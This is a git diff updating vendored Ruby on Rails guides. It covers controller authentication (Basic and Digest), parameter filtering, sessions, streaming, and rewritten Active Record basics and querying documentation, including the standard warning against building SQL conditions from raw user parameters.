requiring the user to be logged in. The `:only` option is used to only skip this filter for these actions, and there is also an `:except` option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place. === After Filters and Around Filters === diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/http_auth.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/http_auth.txt index 8deb40c2..63e7c0f0 100644 --- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/http_auth.txt +++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/http_auth.txt @@ -1,6 +1,13 @@ -== HTTP Basic Authentication == +== HTTP Authentications == -Rails comes with built-in HTTP Basic authentication. This is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP Basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, `authenticate_or_request_with_http_basic`. +Rails comes with two built-in HTTP authentication mechanisms : + + * Basic Authentication + * Digest Authentication + +=== HTTP Basic Authentication === + +HTTP Basic authentication is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP Basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, `authenticate_or_request_with_http_basic`. [source, ruby] ------------------------------------- @@ -10,7 +17,7 @@ class AdminController < ApplicationController before_filter :authenticate -private + private def authenticate authenticate_or_request_with_http_basic do |username, password| @@ -22,3 +29,29 @@ end ------------------------------------- With this in place, you can create namespaced controllers that inherit from AdminController. The before filter will thus be run for all actions in those controllers, protecting them with HTTP Basic authentication. + +=== HTTP Digest Authentication === + +HTTP Digest authentication is superior to the Basic authentication as it does not require the client to send unencrypted password over the network. Using Digest authentication with Rails is quite easy and only requires using one method, +authenticate_or_request_with_http_digest+. + +[source, ruby] +------------------------------------- +class AdminController < ApplicationController + + USERS = { "lifo" => "world" } + + before_filter :authenticate + + private + + def authenticate + authenticate_or_request_with_http_digest do |username| + USERS[username] + end + end + +end +------------------------------------- + + +As seen in the example above, +authenticate_or_request_with_http_digest+ block takes only one argument - the username. And the block returns the password. Returning +false+ or +nil+ from the +authenticate_or_request_with_http_digest+ will cause authentication failure. diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/parameter_filtering.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/parameter_filtering.txt index e29f6310..0013492b 100644 --- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/parameter_filtering.txt +++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/parameter_filtering.txt @@ -1,6 +1,6 @@ == Parameter Filtering == -Rails keeps a log file for each environment (development, test and production) in the "log" folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The `filter_parameter_logging` method can be used to filter out sensitive information from the log. It works by replacing certain values in the `params` hash with "[FILTERED]" as they are written to the log. As an example, let's see how to filter all parameters with keys that include "password": +Rails keeps a log file for each environment (development, test and production) in the `log` folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The `filter_parameter_logging` method can be used to filter out sensitive information from the log. It works by replacing certain values in the `params` hash with "[FILTERED]" as they are written to the log. As an example, let's see how to filter all parameters with keys that include "password": [source, ruby] ------------------------- @@ -11,4 +11,4 @@ class ApplicationController < ActionController::Base end ------------------------- -The method works recursively through all levels of the params hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in return and replaces those for which the block returns true. +The method works recursively through all levels of the params hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in turn and replaces those for which the block returns true. diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/request_response_objects.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/request_response_objects.txt index 07a8ec25..846c2405 100644 --- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/request_response_objects.txt +++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/request_response_objects.txt @@ -7,13 +7,13 @@ In every controller there are two accessor methods pointing to the request and t The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the link:http://api.rubyonrails.org/classes/ActionController/AbstractRequest.html[API documentation]. Among the properties that you can access on this object are: * host - The hostname used for this request. - * domain - The hostname without the first segment (usually "www"). + * domain(n=2) - The hostname's first `n` segments, starting from the right (the TLD) * format - The content type requested by the client. * method - The HTTP method used for the request. - * get?, post?, put?, delete?, head? - Returns true if the HTTP method is get/post/put/delete/head. + * get?, post?, put?, delete?, head? - Returns true if the HTTP method is GET/POST/PUT/DELETE/HEAD. * headers - Returns a hash containing the headers associated with the request. * port - The port number (integer) used for the request. - * protocol - The protocol used for the request. + * protocol - Returns a string containing the prototol used plus "://", for example "http://" * query_string - The query string part of the URL - everything after "?". * remote_ip - The IP address of the client. * url - The entire URL used for the request. diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/session.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/session.txt index ae5f8767..24818fcb 100644 --- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/session.txt +++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/session.txt @@ -21,42 +21,11 @@ If you need a different session storage mechanism, you can change it in the `con config.action_controller.session_store = :active_record_store ------------------------------------------ -=== Disabling the Session === - -Sometimes you don't need a session. In this case, you can turn it off to avoid the unnecessary overhead. To do this, use the `session` class method in your controller: - -[source, ruby] ------------------------------------------- -class ApplicationController < ActionController::Base - session :off -end ------------------------------------------- - -You can also turn the session on or off for a single controller: - -[source, ruby] ------------------------------------------- -# The session is turned off by default in ApplicationController, but we -# want to turn it on for log in/out. -class LoginsController < ActionController::Base - session :on -end ------------------------------------------- - -Or even for specified actions: - -[source, ruby] ------------------------------------------- -class ProductsController < ActionController::Base - session :on, :only => [:create, :update] -end ------------------------------------------- - === Accessing the Session === In your controller you can access the session through the `session` instance method. -NOTE: There are two `session` methods, the class and the instance method. The class method which is described above is used to turn the session on and off while the instance method described below is used to access session values. +NOTE: Sessions are lazily loaded. If you don't access sessions in your action's code, they will not be loaded. Hence you will never need to disable sessions, just not accessing them will do the job. Session values are stored using key/value pairs like a hash: diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/streaming.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/streaming.txt index dc8ebe6d..2a930835 100644 --- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/streaming.txt +++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/streaming.txt @@ -52,7 +52,7 @@ This will read and stream the file 4Kb at the time, avoiding loading the entire WARNING: Be careful when using (or just don't use) "outside" data (params, cookies, etc) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see. -TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. +TIP: It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack. Although if you do need the request to go through Rails for some reason, you can set the `:x_sendfile` option to true, and Rails will let the web server handle sending the file to the user, freeing up the Rails process to do other things. Note that your web server needs to support the `X-Sendfile` header for this to work, and you still have to be careful not to use user input in a way that lets someone retrieve arbitrary files. === RESTful Downloads === diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/verification.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/verification.txt index 5d8ee611..a4522a01 100644 --- a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/verification.txt +++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/verification.txt @@ -25,7 +25,7 @@ class LoginsController < ApplicationController end --------------------------------------- -Now the `create` action won't run unless the "username" and "password" parameters are present, and if they're not, an error message will be added to the flash and the "new" action will be rendered. But there's something rather important missing from the verification above: It will be used for *every* action in LoginsController, which is not what we want. You can limit which actions it will be used for with the `:only` and `:except` options just like a filter: +Now the `create` action won't run unless the "username" and "password" parameters are present, and if they're not, an error message will be added to the flash and the `new` action will be rendered. But there's something rather important missing from the verification above: It will be used for *every* action in LoginsController, which is not what we want. You can limit which actions it will be used for with the `:only` and `:except` options just like a filter: [source, ruby] --------------------------------------- diff --git a/vendor/rails/railties/doc/guides/source/active_record_basics.txt b/vendor/rails/railties/doc/guides/source/active_record_basics.txt index 892adb2d..2336e162 100644 --- a/vendor/rails/railties/doc/guides/source/active_record_basics.txt +++ b/vendor/rails/railties/doc/guides/source/active_record_basics.txt @@ -1,181 +1,141 @@ Active Record Basics ==================== -Active Record is a design pattern that mitigates the mind-numbing mental gymnastics often needed to get your application to communicate with a database. This guide uses a mix of real-world examples, metaphors and detailed explanations of the actual Rails source code to help you make the most of ActiveRecord. +This guide will give you a strong grasp of the Active Record pattern and how it can be used with or without Rails. Hopefully, some of the philosophical and theoretical intentions discussed here will also make you a stronger and better developer. -After reading this guide readers should have a strong grasp of the Active Record pattern and how it can be used with or without Rails. Hopefully, some of the philosophical and theoretical intentions discussed here will also make them a stronger and better developer. +After reading this guide we hope that you'll be able to: -== ORM The Blueprint of Active Record +* Understand the way Active Record fits into the MVC model. +* Create basic Active Record models and map them with your database tables. +* Use your models to execute CRUD (Create, Read, Update and Delete) database operations. +* Follow the naming conventions used by Rails to make developing database applications easier and obvious. +* Take advantage of the way Active Record maps it's attributes with the database tables' columns to implement your application's logic. +* Use Active Record with legacy databases that do not follow the Rails naming conventions. -If Active Record is the engine of Rails then ORM is the blueprint of that engine. ORM is short for “Object Relational Mapping†and is a programming concept used to make structures within a system relational. As a thought experiment imagine the components that make up a typical car. There are doors, seats, windows, engines etc. Viewed independently they are simple parts, yet when bolted together through the aid of a blueprint, the parts become a more complex device. ORM is the blueprint that describes how the individual parts relate to one another and in some cases infers the part’s purpose through the way the associations are described. +== What's Active Record -== Active Record The Engine of Rails +Rails' ActiveRecord is an implementation of Martin Fowler's http://martinfowler.com/eaaCatalog/activeRecord.html[Active Record Design Pattern]. This pattern is based on the idea of creating relations between the database and the application in the following way: -Active Record is a design pattern used to access data within a database. The name “Active Record†was coined by Martin Fowler in his book “Patterns of Enterprise Application Architectureâ€. Essentially, when a record is returned from the database instead of being just the data it is wrapped in a class, which gives you methods to control that data with. The rails framework is built around the MVC (Model View Controller) design patten and the Active Record is used as the default Model. +* Each database table is mapped to a class. +* Each table column is mapped to an attribute of this class. +* Each instance of this class is mapped to a single row in the database table. -The Rails community added several useful concepts to their version of Active Record, including inheritance and associations, which are extremely useful for web applications. The associations are created by using a DSL (domain specific language) of macros, and inheritance is achieved through the use of STI (Single Table Inheritance) at the database level. +The definition of the Active Record pattern in Martin Fowler's words: -By following a few simple conventions the Rails Active Record will automatically map between: +"_An object that wraps a row in a database table or view, encapsulates the database access, and adds domain logic on that data."_ -* Classes & Database Tables -* Class attributes & Database Table Columns +== Object Relational Mapping -=== Rails Active Record Conventions -Here are the key conventions to consider when using Active Record. +The relation between databases and object-oriented software is called ORM, which is short for "Object Relational Mapping". The purpose of an ORM framework is to minimize the mismatch existent between relational databases and object-oriented software. In applications with a domain model, we have objects that represent both the state of the system and the behaviour of the real world elements that were modeled through these objects. Since we need to store the system's state somehow, we can use relational databases, which are proven to be an excelent approach to data management. Usually this may become a very hard thing to do, since we need to create an object-oriented model of everything that lives in the database, from simple columns to complicated relations between different tables. Doing this kind of thing by hand is a tedious and error prone job. This is where an ORM framework comes in. -==== Naming Conventions -Database Table - Plural with underscores separating words i.e. (book_clubs) -Model Class - Singular with the first letter of each word capitalized i.e. (BookClub) -Here are some additional Examples: +== ActiveRecord as an ORM framework -[grid="all"] -`-------------`--------------- -Model / Class Table / Schema ----------------------------- -Post posts -LineItem line_items -Deer deer -Mouse mice -Person people ----------------------------- +ActiveRecord gives us several mechanisms, being the most important ones the hability to: -==== Schema Conventions +* Represent models. +* Represent associations between these models. +* Represent inheritance hierarquies through related models. +* Validate models before they get recorded to the database. +* Perform database operations in an object-oriented fashion. -To take advantage of some of the magic of Rails database tables must be modeled -to reflect the ORM decisions that Rails makes. +It's easy to see that the Rails Active Record implementation goes way beyond the basic description of the Active Record Pattern. -[grid="all"] -`-------------`--------------------------------------------------------------------------------- -Convention -------------------------------------------------------------------------------------------------- -Foreign keys These fields are named table_id i.e. (item_id, order_id) -Primary Key Rails automatically creates a primary key column named "id" unless told otherwise. -------------------------------------------------------------------------------------------------- +== Active Record inside the MVC model -==== Magic Field Names +Active Record plays the role of model inside the MVC structure followed by Rails applications. Since model objects should encapsulate both state and logic of your applications, it's ActiveRecord responsability to deliver you the easiest possible way to recover this data from the database. -When these optional fields are used in your database table definition they give the Active Record -instance additional features. +== Convention over Configuration in ActiveRecord -NOTE: While these column names are optional they are in fact reserved by ActiveRecord. Steer clear of reserved keywords unless you want the extra functionality. For example, "type" is a reserved keyword -used to designate a table using Single Table Inheritance. If you are not using STI, try an analogous -keyword like "context", that may still accurately describe the data you are modeling. +When writing applications using other programming languages or frameworks, it may be necessary to write a lot of configuration code. This is particulary true for ORM frameworks in general. However, if you follow the conventions adopted by Rails, you'll need to write very little configuration (in some case no configuration at all) when creating ActiveRecord models. The idea is that if you configure your applications in the very same way most of the times then this should be the default way. In this cases, explicity configuration would be needed only in those cases where you can't follow the conventions for any reason. -[grid="all"] -`------------------------`------------------------------------------------------------------------------ -Attribute Purpose ------------------------------------------------------------------------------------------------------- -created_at / created_on Rails stores the current date & time to this field when creating the record. -updated_at / updated_on Rails stores the current date & time to this field when updating the record. -lock_version Adds optimistic locking to a model link:http://api.rubyonrails.com/classes/ActiveRecord/Locking.html[more about optimistic locking]. -type Specifies that the model uses Single Table Inheritance link:http://api.rubyonrails.com/classes/ActiveRecord/Base.html[more about STI]. -id All models require an id. the default is name is "id" but can be changed using the "set_primary_key" or "primary_key" methods. -_table_name_\_count Can be used to caches the number of belonging objects on the associated class. ------------------------------------------------------------------------------------------------------- +=== Naming Conventions -By default rails assumes all tables will use “id†as their primary key to identify each record. Though fortunately you won’t have explicitly declare this, Rails will automatically create that field unless you tell it not to. +By default, ActiveRecord uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the camelCase form, while the table name must contain the words separated by underscores. Examples: -For example suppose you created a database table called cars: +* Database Table - Plural with underscores separating words i.e. (book_clubs) +* Model Class - Singular with the first letter of each word capitalized i.e. (BookClub) + +[width="60%", options="header"] +|============================== +|Model / Class |Table / Schema +|Post |posts +|LineItem |line_items +|Deer |deer +|Mouse |mice +|Person |people +|============================== + +=== Schema Conventions + +ActiveRecord uses naming conventions for the columns in database tables, depending on the purpose of these columns. + +* *Foreign keys* - These fields should be named following the pattern table_id i.e. (item_id, order_id). These are the fields that ActiveRecord will look for when you create associations between your models. +* *Primary keys* - By default, ActiveRecord will use a integer column named "id" as the table's primary key. When using http://guides.rails.info/migrations.html[Rails Migrations] to create your tables, this column will be automaticaly created. + +There are also some optional column names that will create additional features to ActiveRecord instances: + +* *created_at / created_on* - ActiveRecord will store the current date and time to this field when creating the record. +* *updated_at / updated_on* - ActiveRecord will store the current date and times to this field when updating the record. +* *lock_version* - Adds http://api.rubyonrails.com/classes/ActiveRecord/Locking.html[optimistic locking] to a model. +* *type* - Specifies that the model uses http://api.rubyonrails.com/classes/ActiveRecord/Base.html[Single Table Inheritance] +* *(table_name)_count* - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post. + +NOTE: While these column names are optional they are in fact reserved by ActiveRecord. Steer clear of reserved keywords unless you want the extra functionality. For example, "type" is a reserved keyword used to designate a table using Single Table Inheritance. If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling. + +== Creating ActiveRecord models + +It's very easy to create ActiveRecord models. All you have to do is to subclass the ActiveRecord::Base class and you're good to go: + +[source, ruby] +------------------------------------------------------------------ +class Product < ActiveRecord::Base; end +------------------------------------------------------------------ + +This will create a +Product+ model, mapped to a *products* table at the database. By doing this you'll also have the hability to map the columns of each row in that table with the attributes of the instances of your model. So, suppose that the *products* table was created using a SQL sentence like: [source, sql] -------------------------------------------------------- -mysql> CREATE TABLE cars ( - id INT, - color VARCHAR(100), - doors INT, - horses INT, - model VARCHAR(100) - ); -------------------------------------------------------- +------------------------------------------------------------------ +CREATE TABLE products ( + id int(11) NOT NULL auto_increment, + name varchar(255), + PRIMARY KEY (id) +); +------------------------------------------------------------------ -Now you created a class named Car, which is to represent an instance of a record from your table. +Following the table schema above, you would be able to write code like the following: [source, ruby] -------------------------------------------------------- -class Car +------------------------------------------------------------------ +p = Product.new +p.name = "Some Book" +puts p.name # "Some Book" +------------------------------------------------------------------ + +== Overriding the naming conventions + +What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions. + +You can use the +ActiveRecord::Base.set_table_name+ method to specify the table name that should be used: +[source, ruby] +------------------------------------------------------------------ +class Product < ActiveRecord::Base + set_table_name "PRODUCT" end -------------------------------------------------------- - -As you might expect without defining the explicit mappings between your class and the table it is impossible for Rails or any other program to correctly map those relationships. +------------------------------------------------------------------ +It's also possible to override the column that should be used as the table's primary key. Use the +ActiveRecord::Base.set_primary_key+ method for that: [source, ruby] -------------------------------------------------------- ->> c = Car.new -=> # ->> c.doors -NoMethodError: undefined method `doors' for # - from (irb):2 -------------------------------------------------------- - -Now you could define a door methods to write and read data to and from the database. In a nutshell this is what ActiveRecord does. According to the Rails API: -“Active Record objects don‘t specify their attributes directly, but rather infer them from the table definition with which they‘re linked. Adding, removing, and changing attributes and their type is done directly in the database. Any change is instantly reflected in the Active Record objects. The mapping that binds a given Active Record class to a certain database table will happen automatically in most common cases, but can be overwritten for the uncommon ones.†-Lets try our Car class again, this time inheriting from ActiveRecord. - -[source, ruby] -------------------------------------------------------- -class Car < ActiveRecord::Base +------------------------------------------------------------------ +class Product < ActiveRecord::Base + set_primary_key "product_id" end -------------------------------------------------------- +------------------------------------------------------------------ -Now if we try to access an attribute of the table ActiveRecord automatically handles the mappings for us, as you can see in the following example. +== Validations -[source, ruby] -------------------------------------------------------- ->> c = Car.new -=> # ->> c.doors -=> nil -------------------------------------------------------- +ActiveRecord gives the hability to validate the state of your models before they get recorded into the database. There are several methods that you can use to hook into the lifecycle of your models and validate that an attribute value is not empty or follow a specific format and so on. You can learn more about validations in the http://guides.rails.info/activerecord_validations_callbacks.html#_overview_of_activerecord_validation[Active Record Validations and Callbacks guide]. -Rails further extends this model by giving each ActiveRecord a way of describing the variety of ways records are associated with one another. We will touch on some of these associations later in the guide but I encourage readers who are interested to read the guide to ActiveRecord associations for an in-depth explanation of the variety of ways rails can model associations. -- Associations between objects controlled by meta-programming macros. +== Callbacks -== Philosophical Approaches & Common Conventions -Rails has a reputation of being a zero-config framework which means that it aims to get you off the ground with as little pre-flight checking as possible. This speed benefit is achieved by following “Convention over Configurationâ€, which is to say that if you agree to live with the defaults then you benefit from a the inherent speed-boost. As Courtneay Gasking put it to me once “You don’t want to off-road on Railsâ€. ActiveRecord is no different, while it’s possible to override or subvert any of the conventions of AR, unless you have a good reason for doing so you will probably be happy with the defaults. The following is a list of the common conventions of ActiveRecord +ActiveRecord callbacks allow you to attach code to certain events in the lifecycle of your models. This way you can add behaviour to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the http://guides.rails.info/activerecord_validations_callbacks.html#_callbacks[Active Record Validations and Callbacks guide]. -== ActiveRecord Magic - - timestamps - - updates - -== How ActiveRecord Maps your Database. -- sensible defaults -- overriding conventions - -== Growing Your Database Relationships Naturally - -== Attributes - - attribute accessor method. How to override them? - - attribute? - - dirty records - - -== ActiveRecord handling the CRUD of your Rails application - Understanding the life-cycle of an ActiveRecord - -== Validations & Callbacks -- Validations - * create! - * validates_acceptance_of - * validates_associated - * validates_confirmation_of - * validates_each - * validates_exclusion_of - * validates_format_of - * validates_inclusion_of - * validates_length_of - * validates_numericality_of - * validates_presence_of - * validates_size_of - * validates_uniqueness_of - - Callback - * (-) save - * (-) valid - * (1) before_validation - * (2) before_validation_on_create - * (-) validate - * (-) validate_on_create - * (3) after_validation - * (4) after_validation_on_create - * (5) before_save - * (6) before_create - * (-) create - * (7) after_create - * (8) after_save diff --git a/vendor/rails/railties/doc/guides/source/finders.txt b/vendor/rails/railties/doc/guides/source/active_record_querying.txt similarity index 59% rename from vendor/rails/railties/doc/guides/source/finders.txt rename to vendor/rails/railties/doc/guides/source/active_record_querying.txt index e5d94cff..c0aa5482 100644 --- a/vendor/rails/railties/doc/guides/source/finders.txt +++ b/vendor/rails/railties/doc/guides/source/active_record_querying.txt @@ -1,21 +1,19 @@ -Rails Finders -============= +Active Record Query Interface +============================= -This guide covers the +find+ method defined in +ActiveRecord::Base+, as well as other ways of finding particular instances of your models. By using this guide, you will be able to: +This guide covers different ways to retrieve data from the database using Active Record. By referring to this guide, you will be able to: * Find records using a variety of methods and conditions * Specify the order, retrieved attributes, grouping, and other properties of the found records -* Use eager loading to cut down on the number of database queries in your application -* Use dynamic finders +* Use eager loading to reduce the number of database queries needed for data retrieval +* Use dynamic finders methods * Create named scopes to add custom finding behavior to your models * Check for the existence of particular records -* Perform aggregate calculations on Active Record models +* Perform various calculations on Active Record models -If you're used to using raw SQL to find database records, you'll find that there are generally better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases. +If you're used to using raw SQL to find database records then, generally, you will find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases. -== The Sample Models - -This guide demonstrates finding using the following models: +Code examples throughout this guide will refer to one or more of the following models: [source,ruby] ------------------------------------------------------- @@ -24,101 +22,122 @@ class Client < ActiveRecord::Base has_one :mailing_address has_many :orders has_and_belongs_to_many :roles -end +end +------------------------------------------------------- +[source,ruby] +------------------------------------------------------- class Address < ActiveRecord::Base belongs_to :client end +------------------------------------------------------- +[source,ruby] +------------------------------------------------------- class MailingAddress < Address end +------------------------------------------------------- +[source,ruby] +------------------------------------------------------- class Order < ActiveRecord::Base belongs_to :client, :counter_cache => true end +------------------------------------------------------- +[source,ruby] +------------------------------------------------------- class Role < ActiveRecord::Base has_and_belongs_to_many :clients end ------------------------------------------------------- -== Database Agnostic +**** +Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same. +**** -Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same. +== Retrieving objects -== IDs, First, Last and All - -+ActiveRecord::Base+ has methods defined on it to make interacting with your database and the tables within it much, much easier. For finding records, the key method is +find+. This method allows you to pass arguments into it to perform certain queries on your database without the need of SQL. If you wanted to find the record with the id of 1, you could type +Client.find(1)+ which would execute this query on your database: +To retrieve objects from the database, Active Record provides a primary method called +find+. This method allows you to pass arguments into it to perform certain queries on your database without the need of SQL. If you wanted to find the record with the id of 1, you could type +Client.find(1)+ which would execute this query on your database: [source, sql] ------------------------------------------------------- -SELECT * FROM +clients+ WHERE (+clients+.+id+ = 1) +SELECT * FROM clients WHERE (clients.id = 1) ------------------------------------------------------- -NOTE: Because this is a standard table created from a migration in Rail, the primary key is defaulted to 'id'. If you have specified a different primary key in your migrations, this is what Rails will find on when you call the find method, not the id column. +NOTE: Because this is a standard table created from a migration in Rails, the primary key is defaulted to 'id'. If you have specified a different primary key in your migrations, this is what Rails will find on when you call the find method, not the id column. If you wanted to find clients with id 1 or 2, you call +Client.find([1,2])+ or +Client.find(1,2)+ and then this will be executed as: [source, sql] ------------------------------------------------------- -SELECT * FROM +clients+ WHERE (+clients+.+id+ IN (1,2)) +SELECT * FROM clients WHERE (clients.id IN (1,2)) ------------------------------------------------------- ------------------------------------------------------- >> Client.find(1,2) -=> [# "Ryan", locked: false, orders_count: 2, - created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">, - # "Michael", locked: false, orders_count: 3, +=> [# "Ryan", locked: false, orders_count: 2, + created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">, + # "Michael", locked: false, orders_count: 3, created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">] ------------------------------------------------------- -Note that if you pass in a list of numbers that the result will be returned as an array, not as a single +Client+ object. +Note that if you pass in a list of numbers that the result will be returned as an array, not as a single Client object. -NOTE: If +find(id)+ or +find([id1, id2])+ fails to find any records, it will raise a +RecordNotFound+ exception. +NOTE: If +find(id)+ or +find([id1, id2])+ fails to find any records, it will raise a RecordNotFound exception. -If you wanted to find the first client you would simply type +Client.first+ and that would find the first client created in your clients table: +If you wanted to find the first Client object you would simply type +Client.first+ and that would find the first client in your clients table: ------------------------------------------------------- >> Client.first -=> # "Ryan", locked: false, orders_count: 2, +=> # "Ryan", locked: false, orders_count: 2, created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50"> ------------------------------------------------------- -If you were running script/server you might see the following output: +If you were reading your log file (the default is log/development.log) you may see something like this: [source,sql] ------------------------------------------------------- SELECT * FROM clients LIMIT 1 ------------------------------------------------------- -Indicating the query that Rails has performed on your database. +Indicating the query that Rails has performed on your database. -To find the last client you would simply type +Client.find(:last)+ and that would find the last client created in your clients table: +To find the last Client object you would simply type +Client.last+ and that would find the last client created in your clients table: ------------------------------------------------------- ->> Client.find(:last) -=> # "Michael", locked: false, orders_count: 3, +>> Client.last +=> # "Michael", locked: false, orders_count: 3, created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40"> ------------------------------------------------------- +If you were reading your log file (the default is log/development.log) you may see something like this: + +[source,sql] +------------------------------------------------------- +SELECT * FROM clients ORDER BY id DESC LIMIT 1 +------------------------------------------------------- + +NOTE: Please be aware that the syntax that Rails uses to find the first record in the table means that it may not be the actual first record. If you want the actual first record based on a field in your table (e.g. +created_at+) specify an order option in your find call. The last method call works differently: it finds the last record on your table based on the primary key column. + [source,sql] ------------------------------------------------------- SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 ------------------------------------------------------- -To find all the clients you would simply type +Client.all+ and that would find all the clients in your clients table: +To find all the Client objects you would simply type +Client.all+ and that would find all the clients in your clients table: ------------------------------------------------------- >> Client.all -=> [# "Ryan", locked: false, orders_count: 2, - created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">, - # "Michael", locked: false, orders_count: 3, +=> [# "Ryan", locked: false, orders_count: 2, + created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">, + # "Michael", locked: false, orders_count: 3, created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">] ------------------------------------------------------- -As alternatives to calling +Client.first+, +Client.last+, and +Client.all+, you can use the class methods +Client.first+, +Client.last+, and +Client.all+ instead. +Client.first+, +Client.last+ and +Client.all+ just call their longer counterparts: +Client.find(:first)+, +Client.find(:last)+ and +Client.find(:all)+ respectively. +You may see in Rails code that there are calls to methods such as +Client.find(:all)+, +Client.find(:first)+ and +Client.find(:last)+. These methods are just alternatives to +Client.all+, +Client.first+ and +Client.last+ respectively. -Be aware that +Client.first+/+Client.find(:first)+ and +Client.last+/+Client.find(:last)+ will both return a single object, where as +Client.all+/+Client.find(:all)+ will return an array of Client objects, just as passing in an array of ids to find will do also. +Be aware that +Client.first+/+Client.find(:first)+ and +Client.last+/+Client.find(:last)+ will both return a single object, where as +Client.all+/+Client.find(:all)+ will return an array of Client objects, just as passing in an array of ids to +find+ will do also. == Conditions @@ -132,22 +151,23 @@ WARNING: Building your own conditions as pure strings can leave you vulnerable t === Array Conditions === -Now what if that number could vary, say as a parameter from somewhere, or perhaps from the user's level status somewhere? The find then becomes something like +Client.first(:conditions => ["orders_count = ?", params[:orders]])+. Active Record will go through the first element in the conditions value and any additional elements will replace the question marks (?) in the first element. If you want to specify two conditions, you can do it like +Client.first(:conditions => ["orders_count = ? AND locked = ?", params[:orders], false])+. In this example, the first question mark will be replaced with the value in params orders and the second will be replaced with true and this will find the first record in the table that has '2' as its value for the orders_count field and 'false' for its locked field. +Now what if that number could vary, say as a argument from somewhere, or perhaps from the user's level status somewhere? The find then becomes something like +Client.first(:conditions => ["orders_count = ?", params[:orders]])+. Active Record will go through the first element in the conditions value and any additional elements will replace the question marks (?) in the first element. If you want to specify two conditions, you can do it like +Client.first(:conditions => ["orders_count = ? AND locked = ?", params[:orders], false])+. In this example, the first question mark will be replaced with the value in +params[:orders]+ and the second will be replaced with the SQL representation of +false+, which depends on the adapter. The reason for doing code like: [source, ruby] ------------------------------------------------------- -+Client.first(:conditions => ["orders_count = ?", params[:orders]])+ +Client.first(:conditions => ["orders_count = ?", params[:orders]]) ------------------------------------------------------- instead of: +[source, ruby] ------------------------------------------------------- -+Client.first(:conditions => "orders_count = #{params[:orders]}")+ +Client.first(:conditions => "orders_count = #{params[:orders]}") ------------------------------------------------------- -is because of parameter safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your parameters directly inside the conditions string. +is because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. TIP: For more information on the dangers of SQL injection, see the link:../security.html#_sql_injection[Ruby on Rails Security Guide]. @@ -163,28 +183,28 @@ This would generate the proper query which is great for small ranges but not so [source, sql] ------------------------------------------------------- 